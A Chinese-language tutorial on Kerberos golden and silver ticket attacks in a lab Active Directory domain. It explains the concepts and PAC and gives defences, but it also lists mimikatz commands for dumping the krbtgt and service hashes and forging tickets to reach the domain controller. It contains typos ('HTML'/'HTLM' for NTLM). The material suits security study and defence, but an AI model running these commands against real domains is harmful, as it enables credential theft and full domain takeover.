票据传递

什么是票据传递

票据传递是基于kerberos认证的一种攻击方式，常用来做后渗透权限维持。

黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。

白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。

其实黄金票据与白银票据本质是趋近的，区别是取决于加密票据的是krbtgt的hash还是其他服务的hash。黄金票据说白了就是知道了krbtgt的hash后可以伪造一张ticket，这个ticket可以访问krbtgt/domain_name服务。白银票据是得到了某个服务的hash，然后伪造一个ticket这个ticket有权限访问那个服务。其实krbtgt就是KDC服务。

黄金票据伪造了TGT后，会拥有一个伪造后高权限的TGT，还会有一个SESSION key，这样子才能进行后续的kerberos认证，只有TGT没有session key是无法进行后续认证。

利用：

域：hiro.com
域控：WIN-KONG@192.168.228.10 域管：administrator
域机器: WINis10@192.168.228.40 本地管理员：aspnet

黄金票据(Golden Ticket)

TGT由krbtgt用户Hash加密，如果拥有krbtgt用户Hash就可以制作TGT，从而得到ST服务票据，进而访问域控。

要创建黄金票据，需要以下信息:

1.域名

2.域的SID值(域成员SID值去掉最后的)

3.krbtgt账号的哈希值或AES-256值

在域控上用mimikatz执行:

privilege::debug

lsadump::dcsync /domain:hiro.com /user:krbtgt

mimikatz进行攻击：

kerberos::golden /user:administrator /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /krbtgt:5f468f6d7ac43c327396d832a0241d81 /ptt

在mimikatz上输入kerberos::list查看该票据，或者在机器上cmd窗口输入klist(cmd需要以管理员权限运行)也能查到该票据

验证是否成功：

ps:target需要指向FQDN

在Client端通过Psexec.exe与域控进行连接

或者直接建立ipc$连接

net use \WIN-KONG.hiro.com\c$

黄金票据(Golden Ticket)防御：

使用黄金票据能够在一个域环境中长时间控制整个域，并且日志无法溯源。需要经常更新krbtgt的密码，才能够使得原有的票据失效。最根本的办法是不允许域管账户登录其他服务器。

白银票据(Silver Ticket)

ticket中的enc-part是由服务Hash加密的，如果有了服务Hash，就可以签发任意用户的ST票据，不需要跟域控打交道，但是只能访问特定服务。（伪造的白银票据没有带有效KDC签名的PAC，如果目标验证了KDC的PAC签名，那么白银票据就不起作用了）

PAC

PAC在AS-REP放在TGT里加密发送给Client，PAC 中包含的是用户的 SID、用户所在的组等一些信息。当Client需要访问Server所提供的某项服务时， Server为了判断用户是否具有合法的权限需要将Client的SID、用户所在的组等信息传递给KDC， KDC通过SID判断用户的用户组信息，用户权限等，进而将结果返回给Server，Server再将此信息与用户所索取的资源的ACL进行比较， 最后决定是否给用户提供相应的服务。

有些服务并没有验证PAC，这就是白银票据能成功的原因。如果验证了PAC的话，就算攻击者拥有服务Hash，制作了ST票据，也不能制作PAC(PAC由两个数字签名构成，而这两个数字签名分别由Server NTLM Hash和KDC NTLM Hash加密)，并且只有KDC才能制作和查看PAC。

也恰恰是是这个 PAC，造成了 MS14-068 这个漏洞。该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心（KDC）服务中的 Windows 漏洞，它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。

要创建白银票据，需要以下信息:

1.域名

2.域的SID值

3.目标服务的FQDN

4.服务账号的HTLM哈希

利用白银票据伪造CIFS服务权限

CIFS服务常用于Windows主机之间的文件共享

1.在域控使用mimikatz获得域控的NTLM哈希

privilege::Debug

sekurlsa::logonpasswords

2.进行白银票据攻击

kerberos::golden /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /target:WIN-KONG.hiro.com /service:cifs /rc4:39107db5b42b1cfb9f3f38520bb4c0f3
/user:administrator /ptt

在mimikatz上输入kerberos::list查看该票据

在机器上cmd窗口输入klist也能查到该票据

验证是否成功：

net use \WIN-KONG.hiro.com\c$

白银票据(Silver Tickets)防御

尽量防止服务Hash不被窃取，并且开启PAC签名(PAC主要是规定服务器将票据发送给kerberos服务，由kerberos服务验证票据是否有效。)

但是如果开启PAC认证，会降低认证效率，增加DC的负担，最根本的还是要加固服务器本身对外的服务。

黄金和白银票据的区别

1、访问权限不同

Golden Ticket是伪造的TGT(Ticket Granting Ticket)，所以可以获取任何Kerberos服务权限

Silver Ticket是伪造的TGS，也就是说其范围有限，只能访问指定的服务权限

2、加密方式不同

Golden Ticket是由krbtgt的hash加密

Silver Ticket是由服务账户hash加密

3、认证流程不同

Golden Ticket在使用的过程需要同域控通信

Silver Ticket在使用的过程不需要同域控通信,所以相对来说更加隐蔽。